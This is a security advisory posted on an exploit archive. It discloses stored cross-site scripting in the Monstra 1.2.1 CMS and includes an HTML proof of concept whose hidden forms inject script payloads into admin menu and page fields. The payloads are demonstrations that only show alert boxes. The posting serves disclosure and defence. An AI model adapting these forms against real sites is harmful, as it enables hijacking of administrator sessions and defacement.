what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Monstra 1.2.1 Cross Site Scripting

Monstra 1.2.1 Cross Site Scripting
Posted Aug 23, 2012
Authored by LiquidWorm | Site zeroscience.mk

Monstra version 1.2.1 suffers from cross site scripting and html injection vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | a66092fdb607aa67e0feb81a2603defafc3a93caf5e02090e529ccb0f8f6b1ad

Monstra 1.2.1 Cross Site Scripting

Change Mirror Download
<!DOCTYPE html>
<!--

Monstra 1.2.1 Multiple HTML Injection Vulnerabilities


Vendor: MONSTRA.ORG
Product web page: http://www.monstra.org
Affected version: 1.2.1

Summary: Monstra is fast and small content management system written
in PHP! It's free, open source and easy to use from the start!

Desc: Monstra suffers from multiple stored XSS vulnerabilities when
parsing user input to the 'menu_item_link', 'menu_item_name' and
'page_title' parameters via POST method thru 'index.php' script.
Attacker-supplied HTML or JavaScript code could run in the context
of the affected site, potentially allowing an attacker to steal
cookie-based authentication credentials, control how the site is
rendered to the user, and influence or misrepresent how Web content
is served, cached, or interpreted.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.4
MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2012-5101
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5101.php


21.08.2012

-->


<html>
<head>
<title>Monstra 1.2.1 Multiple HTML Injection Vulnerabilities</title>
</head>
<body>
<form id="add_menu" method="POST" action="http://localhost/monstra/admin/index.php?id=menu&action=add">
<input type="hidden" name="csrf" value="a7de775dce681ae31b7e8954d6305667b0df69e0" />
<input type="hidden" name="menu_add_item" value="Save" />
<input type="hidden" name="menu_item_link" value='"><script>alert(1);</script>' />
<input type="hidden" name="menu_item_name" value='"><script>alert(2);</script>' />
<input type="hidden" name="menu_item_order" value="0" />
<input type="hidden" name="menu_item_target" value="" />
</form>

<form id="add_page" method="POST" action="http://localhost/monstra/admin/index.php?id=pages&action=add_page">
<input type="hidden" name="add_page_and_exit" value="Save and exit" />
<input type="hidden" name="csrf" value="a7de775dce681ae31b7e8954d6305667b0df69e0" />
<input type="hidden" name="day" value="21" />
<input type="hidden" name="editor" value="Tojmi Sesvidja" />
<input type="hidden" name="minute" value="17" />
<input type="hidden" name="month" value="08" />
<input type="hidden" name="page_description" value="Zero Science Lab" />
<input type="hidden" name="page_keywords" value="ZSL-2012-5101" />
<input type="hidden" name="page_name" value="XSS" />
<input type="hidden" name="page_title" value='"><script>alert(3);</script>' />
<input type="hidden" name="pages" value="0" />
<input type="hidden" name="second" value="29" />
<input type="hidden" name="status" value="published" />
<input type="hidden" name="templates" value="index" />
<input type="hidden" name="year" value="2012" />
</form>

<script type="text/javascript">
function xss1(){document.forms["add_menu"].submit();}
function xss2(){document.forms["add_page"].submit();}
</script>

<input type="button" value="Execute XSS 1" onClick="xss1()" />
<br /><br />
<input type="button" value="Execute XSS 2" onClick="xss2()" />

</body>
</html>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close